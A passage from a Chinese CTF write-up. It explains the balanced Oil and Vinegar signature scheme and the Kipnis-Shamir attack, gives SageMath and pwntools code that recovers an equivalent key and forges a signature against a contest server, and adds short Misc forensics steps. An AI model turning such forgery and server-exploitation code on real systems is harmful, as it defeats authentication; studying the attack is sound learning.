print(len(c0s), len(c1s), len(c0s[0]), len(c1s[0]))


# Add extra errors
for i in range(44):
    for j in range(4):
        c0s[i][j] = c0s[i][j] + 1
        c1s[i][j] = c1s[i][j] + 1



flag = ""
# Interactive
for i in range(len(c0s)):
    r.sendlineafter(b"Tell me your choice:\n", b"Decrypt")
    r.readlines(1)

    c0 = str(c0s[i]).strip('[]').replace(", ", ",")
    c1 = str(c1s[i]).strip('[]').replace(", ", ",")

    r.sendline(c0.encode())
    r.readlines(1)
    r.sendline(c1.encode())
    r.sendlineafter(b"The index:\n", b"0")

    r.recvuntil(b"The result is: \n")
    flag += chr(int(r.recvline().strip()))

print(flag)


r.close()

OV [doing] Soreat_u

多变量公钥密码,也是一种可以抗量子计算机的密码算法。

基于的难题是高次多变量多项式求解问题,这被证明是NP-complete的。

就比如说有32个变量$x_1, x_2, \cdots, x_{32}$,但只给你16个方程

$$ \begin{aligned} P_1 (x_1, x_2, \cdots, x_{32}) &= m_1 \newline P_2 (x_1, x_2, \cdots, x_{32}) &= m_2 \newline & \vdots \newline P_{16} (x_1, x_2, \cdots, x_{32}) &= m_{16} \newline \end{aligned} $$

而且每个$P_i$还不仅仅只是这32个变量的线性组合($a_1 x_1 + a_2 x_2 + \cdots + a_{32}x_{32}$),而是像$a_1 x_1 x_2 + \cdots + a_i x_i x_j$这种二次(或更高次)形式。

这样的一个东西是很难求解的。

所以就有基于这个难题的公钥密码算法。一般都是使用二次多变量多项式系统,也就是$P_i (x_1, x_2, \cdots, x_{32}) = m_i$都是二次多项式,这样的多项式求解问题被称为MQ问题。


这一题就是一道基于MQ问题的OV签名方案。

O:oil,油

V:Vinegar,醋

在OV签名方案中,变量分为两种:油变量$\hat{x}_i$,醋变量$x_i’$。

这题中油变量和醋变量的个数都为16,o == v,所以叫做平衡油醋(OV, Oil & Vinegar)签名,如果o < v,则称为非平衡油醋(UOV, Unbalance Oil & Vinegar)签名。平衡油醋签名已经有Kipnis-Shamir攻击(具体攻击方法在paper:Cryptanalysis of the Oil and Vinegar Signature Scheme 里,这题用的就是这个攻击),而UOV则比较复杂。。。。

OV签名方案中每个$P_i$,是油醋多项式:

可以看到这是一个含有32个变量$(x_1’, x_2’, \cdots, x_{16}’, \hat{x}_1, \hat{x}2, \cdots, \hat{x}{16})$的二次多项式(前16个变量是醋变量,后16个变量是油变量)。每个变量都在一个基域$\mathcal{K}$上,这题$\mathcal{K}: GF(256) = GF(2^8)$,也就是说每个变量$x_i$都是$GF(2^8)$上的某一个元素,不过这个基域不是很关键。

然后有o = 16个这样的油醋多项式,形成了16个方程:

$$ \begin{aligned} P_1 (x_1’, x_2’, \cdots, x_{16}’, \hat{x}1, \hat{x}2, \cdots, \hat{x}{16}) &= m_1 \newline P_2 (x_1’, x_2’, \cdots, x{16}’, \hat{x}1, \hat{x}2, \cdots, \hat{x}{16}) &= m_2 \newline & \vdots \newline P{16} (x_1’, x_2’, \cdots, x_{16}’, \hat{x}1, \hat{x}2, \cdots, \hat{x}{16}) &= m{16} \newline \end{aligned} $$

我们把$(x_1’, x_2’, \cdots, x_{16}’, \hat{x}1, \hat{x}2, \cdots, \hat{x}{16})$叫做$X$,$X \in \mathcal{K}^{32}$; 把$(m_1, m_2, \cdots, m{16})$叫做$M$,$M \in \mathcal{K}^{16}$; 把$P_1, P_2, \cdots, P_{16}$叫做$P$。

那么上面那个有32个变量的方程组就可以写成: $$ P (X) = M $$

可以发现,对$X = (x_1’, x_2’, \cdots, x_{16}’, \hat{x}_1, \hat{x}2, \cdots, \hat{x}{16})$给定32个具体的取值,$P$可以将$X$映射到$M$上,所以是$P$是一个$K^n \rightarrow K^o$的映射(其中$n = o + v = 16 + 16 = 32$)。


OV签名方案的构造就是,先去选择一个中心映射$G: \mathcal{K}^n \rightarrow \mathcal{K}^o$(就是这题中ov.sage里由$B_0, B_1, B_2, B_3$形成的一个$32 \times 32$的矩阵$F$,右下部分全是0,是为了符合油醋多项式的结构),然后再去找一个可逆线性仿射$T: \mathcal{K}^n \rightarrow \mathcal{K}^o$,用$T$将中心映射的结构隐藏起来,计算公钥$P = G \circ T$。私钥就是中心映射$G$和可逆线性仿射$T$。

$G$,$T$,$P$均可用矩阵来表示。

由于油醋多项式的特殊结构(油变量和醋变量并没有完全混合),我们可以对这个由油醋多项式组成的中心映射进行一个“求逆”操作。

签名和验证过程就是围绕着$P (X) = M$展开的。

  • 签名(sign):给定一组消息向量$M$,由于我们知道中心映射$G$和可逆线性仿射$T$,所以我们可以对$P = G \circ T$进行求逆;但其他人只有$P$,而且由于$T$的作用,将油变量和醋变量完全混起来了,所以其他人如果想要对$P$求逆就相当于对MQ问题的求解。

    具体的签名过程:

    1. 先计算消息$M$的哈希值$H = Hash(M)$
    2. 随机地选取前16个醋变量的值$v_1, \cdots, v_{16} \in \mathcal{K}$
    3. 将这16个醋变量值代入到$P(x_1’, x_2’, \cdots, x_{16}’, \hat{x}1, \hat{x}2, \cdots, \hat{x}{16})$中,这样就变成了关于16个油变量的16条线性方程,可以用高斯消元法求解出油变量的值$o_1, \cdots, o{16}$(如果线性系统无解,那么跳回步骤2),那么$M$在中心映射$G$下的原象就是$preimage = (v_1, \cdots, v_{16}, o_1, \cdots, o_{16})$,即$G(preimage) = M$
    4. 再将$T$的逆 作用在$preimage$上,得到的就是签名$sign = (s_1, \cdots, s_{32})$
  • 验证(verify):验证实际上很简单,就是验证给定的签名$sign = (s_1, \cdots, s_{32})$是不是$P (X) = M$的解。只需要将$sign$代入,经过$P$作用,看得到的结果是否跟$M$一致。


这题需要我们对COMMAND = "iwanttoknowflag!"进行签名,虽然提供了Sign功能,但是有一个Check,签名的内容不能是COMMAND。

在交流的时候,出题师傅说他的hashFunction没写好,会使得转成的$H$是在$\mathbb{Z}_{256}$上的元素,而非$\mathcal{K}$上的元素,所以导致在签名的时候s = [central_map_sub[i] - H[i] for i in range(self.o)]这一步的H[i]会被强制转换到$\mathcal{K}$上,但是K(H[i])不是0就是1。因此发送Iwanttoknowflag!所获得的签名实际上跟iwanttoknowflag!的签名是一样的,有这么一个非预期,hhh,出题也太难了。。

Screen Shot 2020-05-05 at 1.24.04 AM

我们需要通过某种方式获取到"iwanttoknowflag!"的签名。

直接google搜的话,是能直接搜到那篇原论文的。

不过直接一上来就看的话,会顶不住的。。

后来我再去看了好几篇其他的文档,才渐渐看懂了OV是个什么东西,能稍微理解原论文的攻击思路。


用的方法是原论文里的方法

Aviad Kipnis, Adi Shamir这两个大哥,发现了公钥里的一个特殊代数结构,能够从中构造出一个和中心映射$G$等价的密钥,进而可以用这个等价密钥进行签名伪造。

攻击大致思路就是:

  1. 定义了一个油子空间(oil subspace)和醋子空间(vinegar subspace)

  2. 然后形如$P_{ij} = P_i^{-1} P_j$这样的矩阵所构成的一个闭包$T$(其中$P_i$就是公钥pk(长度为16)里的每一个$32 \times 32$矩阵)

    我这里和原论文里用的符号不太一样。。

  3. $T$里的所有矩阵的eigenspace都是油子空间,

  4. 可以通过他给出的两个方法求出这个共有的油子空间

    方法一过于抽象,所以选择了方法二。

  5. 然后可以利用这个求出来的油子空间去构造一个矩阵,这个矩阵等价于那个可逆线性仿射$T$的逆$T’^{-1}$,对$P = G \circ T$作用上这个等价的$T’^{-1}$就可以得到一个等价的中心映射$G’: P \circ T’^{-1} = G \circ T \circ T’^{-1} = G’$。

  6. 得到了等价的中心映射$G’$,就可以对"iwanttoknowflag!"进行伪造签名。

    签名不唯一,只要能满足$P (sign) = M$的$sign$都可以看作是合法签名。

一堆高深的线性代数,硬着头皮看下去的,基本没怎么看懂,也不知道理解的对不对。


一个更加抽象的解释:


首先,要从公钥中找到oil subspace。

  1. 随机地取闭包$T$中的矩阵M
  2. 对M的特征多项式进行分解
  3. 如果分解出来的正好是2个度数为16的不可约多项式因子$P_1(x), P_2(x)$,那么oil subspace就是$P_1(x)$或$P_2(x)$的kernel。

找到oil subspace后,将其补全成$32 \times 32$的矩阵,即为一个等价的$T’^{-1}$。

接着,算出等价的中心映射$G’$。

最后,用这个等价的中心映射来伪造签名。

本地测试代码:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
# sagemath 8.9

# ---------------
# Generate public key
q = 256
o = 16
v = 16
n = o + v

K.<a> = GF(q)    # GF(2^8)
PR = PolynomialRing(K,'x',n)
x = matrix(PR.gens())
xt = x.transpose()

B0 = [random_matrix(K,v,v) for _ in range(o)]
B1 = [random_matrix(K,v,o) for _ in range(o)]
B2 = [random_matrix(K,o,v) for _ in range(o)]
B3 = [matrix(K,o,o) for _ in range(o)]

F = [matrix.block([[B0[i],B1[i]],[B2[i],B3[i]]]) for i in range(o)]

while true:
    T = random_matrix(K,n)
    if T.is_invertible():
        break

Tt = T.transpose()
Ti = T.inverse()
pk = [Tt*F[i]*T for i in range(o)]


# --------------
# Try finding oil subspace
while True:
    i, j = randint(0, o-1), randint(0, o-1)
    I, J = randint(0, o-1), randint(0, o-1)
    B = (pk[i] * pk[j]^-1) + (pk[I] * pk[J]^-1)
    ply = B.characteristic_polynomial()
    factors = ply.factor()
    if len(factors) == 2:
        P1 = factors[0][0]

        oil_subspace = matrix(P1.substitute(x=B).kernel().basis())
        if oil_subspace.rank() == o:
            break


# ---------------
# Construct equivalent central map
V = VectorSpace(K,n)

# oil subspace
So = V.subspace(oil_subspace)
# vinegar subspace
Sv = So.complement()


o_basis = So.basis()
v_basis = Sv.basis()

Mo = matrix(o_basis)
Mv = matrix(v_basis)
M = Matrix.block([[Mv],[Mo]])  # equivalent T'^-1

Equivs = [M*pk[i]*M.transpose() for i in range(o)]   # equivalent central map

central_map = [x*Equivs[i]*xt for i in range(o)]

print "Get Equivalent keys!"

# ---------------
# Forge signatrue
def hashFunction(m):
    assert(len(m) == o)
    H = [ord(i) for i in m]
    return H

def verify(sign,H):
    sign = IntListDecoder(sign)
    PK = [x*pk[i]*xt for i in range(o)]
    images = [i for i in sign]
    phi = PR.hom(images,K)
    pk_sub = [phi(PK[i][0]) for i in range(o)]
    return pk_sub == H

def IntListEncoder(s):
    return [i.integer_representation() for i in s]

def IntListDecoder(l):
    return vector([K.fetch_int(i) for i in l])


msg = "iwanttoknowflag!"
H = hashFunction(msg)

R = PolynomialRing(K,o,["x%s"%i for i in range(v,n)])
Rgen = R.gens()

while True:
    images = [K.random_element() for i in range(v)] + list(Rgen)
    phi = PR.hom(images,R)
    central_map_sub = [phi(central_map[i][0]) for i in range(o)]
    s = [central_map_sub[i] - H[i] for i in range(o)]
    h = R.ideal(s)
    var = h.variety()
    if len(var) != 0:
        result = var[0]
        break

preimage = vector(images[:v] + [result["x"+str(i)] for i in range(v,n)])
sign = M.transpose() * preimage
sig = IntListEncoder(sign)

print sig

print verify(sig, H)

需要注意的几个地方:

  1. 随机取闭包$T$中的矩阵,为了增加取得个数,所以选择了B = (pk[i] * pk[j]^-1) + (pk[I] * pk[J]^-1)
  2. 求出来的oil subspace必须是full rank。
  3. 求出的等价中心映射是有概率签不了名的,if len(var) != 0:这边会一直跳不出去,这个时候就应该换一组公钥,重新来过。
  4. 得到preimage后,需要用等价的$T^{-1}$的转置矩阵(即代码中的M)来乘上preimage,而非生成公钥的那个$T^{-1}$

几次尝试后,终于在本地成功了:

通宵肝的题,后来在出题师傅的耐心帮助下,在早上9点多的时候终于成功了。。十分感谢师傅。


尝试远程:

exp.py文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# python3
import re
from hashlib import sha256
from itertools import product
import json
import ast
import subprocess
from pwn import *

s = string.ascii_letters + string.digits


r = remote("134.175.220.99", 8848)
# r = remote('127.0.0.1', 9999)
# context.log_level = 'debug'


# Proof of Work
rec = r.recvline().decode()

suffix = re.findall(r'\(XXXX\+(.*?)\)', rec)[0]
digest = re.findall(r'== (.*?)\n', rec)[0]
print(f"suffix: {suffix} \ndigest: {digest}")

print('Calculating hash...')
for i in product(s, repeat=4):
    prefix = ''.join(i)
    guess = prefix + suffix
    if sha256(guess.encode()).hexdigest() == digest:
        print(guess)
        break
r.sendafter(b'Give me XXXX:', prefix.encode())

# Name
r.recvuntil(b"Please tell me your name(at most 16 bytes):\n")
r.sendline(b"Soreat_u")

# Recive public keys
r.recvuntil(b"pk: ")
pk = ast.literal_eval(r.recvline().strip().decode())

# Save
json.dump(pk, open("data", "w"))

# Solve
print("Solving...")

cmd = "sage solver.sage"
try:
    res = subprocess.check_output(cmd.split(' ')).strip().decode()
except:
    print("Fail...")
    exit(1)
sig = res.strip("[]")
print(f"Sending Signature: {sig}")

# GetFlag
r.sendlineafter(b"Tell me your choice:\n", b"GetFlag")
r.sendlineafter(b"Please input the sign data of \"iwanttoknowflag!\"(Separated by commas):\n", sig.encode())

r.interactive()
r.close()

solver.sage文件:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
import json

q = 256
o = 16
v = 16
n = o + v
K.<a> = GF(q)    # GF(2^8)
PR = PolynomialRing(K,'x',n)
x = matrix(PR.gens())
xt = x.transpose()

# --------------------
# load public keys
pk_ = json.load(open("data", "r"))

pk = []
for i in range(o):
    ll = []
    for j in range(len(pk_[i])):
        l = []
        for k in range(len(pk_[i][j])):
            l.append(K.fetch_int(pk_[i][j][k]))
        ll.append(l)
    pk.append(matrix(ll))

# -----------------
# Try finding oil subspace
while True:
    i, j = randint(0, o-1), randint(0, o-1)
    I, J = randint(0, o-1), randint(0, o-1)
    B = (pk[i] * pk[j]^-1) + (pk[I] * pk[J]^-1)
    ply = B.characteristic_polynomial()
    factors = ply.factor()
    if len(factors) == 2:
        P1 = factors[0][0]

        oil_subspace = matrix(P1.substitute(x=B).kernel().basis())
        if oil_subspace.rank() == o:
            break


# ---------------
# Construct equivalent central map
V = VectorSpace(K,n)

# oil subspace
So = V.subspace(oil_subspace)
# vinegar subspace
Sv = So.complement()

o_basis = So.basis()
v_basis = Sv.basis()

Mo = matrix(o_basis)
Mv = matrix(v_basis)
M = Matrix.block([[Mv],[Mo]])  # equivalent T^-1

Equivs = [M*pk[i]*M.transpose() for i in range(o)]   # equivalent central map

central_map = [x*Equivs[i]*xt for i in range(o)]

# print "Get Equivalent keys!"

# ---------------
# Forge signatrue
def hashFunction(m):
    assert(len(m) == o)
    H = [ord(i) for i in m]
    return H

def verify(sign,H):
    sign = IntListDecoder(sign)
    PK = [x*pk[i]*xt for i in range(o)]
    images = [i for i in sign]
    phi = PR.hom(images,K)
    pk_sub = [phi(PK[i][0]) for i in range(o)]
    return pk_sub == H

def IntListEncoder(s):
    return [i.integer_representation() for i in s]

def IntListDecoder(l):
    return vector([K.fetch_int(i) for i in l])


msg = "iwanttoknowflag!"
H = hashFunction(msg)

R = PolynomialRing(K,o,["x%s"%i for i in range(v,n)])
Rgen = R.gens()

while True:
    images = [K.random_element() for i in range(v)] + list(Rgen)
    phi = PR.hom(images,R)
    central_map_sub = [phi(central_map[i][0]) for i in range(o)]
    s = [central_map_sub[i] - H[i] for i in range(o)]
    h = R.ideal(s)
    var = h.variety()
    if len(var) != 0:
        result = var[0]
        break

preimage = vector(images[:v] + [result["x"+str(i)] for i in range(v,n)])
sign = M.transpose() * preimage
sig = IntListEncoder(sign)

assert verify(sig, H)
print sig

Screen Shot 2020-05-05 at 1.30.00 AM


但这只是OV,还有UOV、Rainbow等等更难的。。

在GitHub上能找到一个针对UOV的攻击: MB-UOV-attack


Summary:这次比赛学到了好多好多好多。suffer but enjoy!

MISC

Misc杂烩/Misc Chowde[zihu4n]

  • 首先能用wireshark分离6个jpg跟一个png
  • 根据png找过去能下载一个zip
  • zip解压得到docx
  • docx用binwalk能跑出一个rar
  • rar爆破得到一个图片
  • ntfs

life [zihu4n]

  • 一个图片
  • binwalk -e跑下
  • 出个压缩包
  • 里面一个flag.zip一个图片
  • 原图是游戏人生的图(空白永不败北!)讲道理思路一开始是被误导了以为只是一个老二次元的
  • google baidu life game会找到康威生命游戏
  • 手工搞波出二维码
  • 拿压缩包密码
  • 最后zip里面的数据逆向base64解密后是倒着的flag的ascii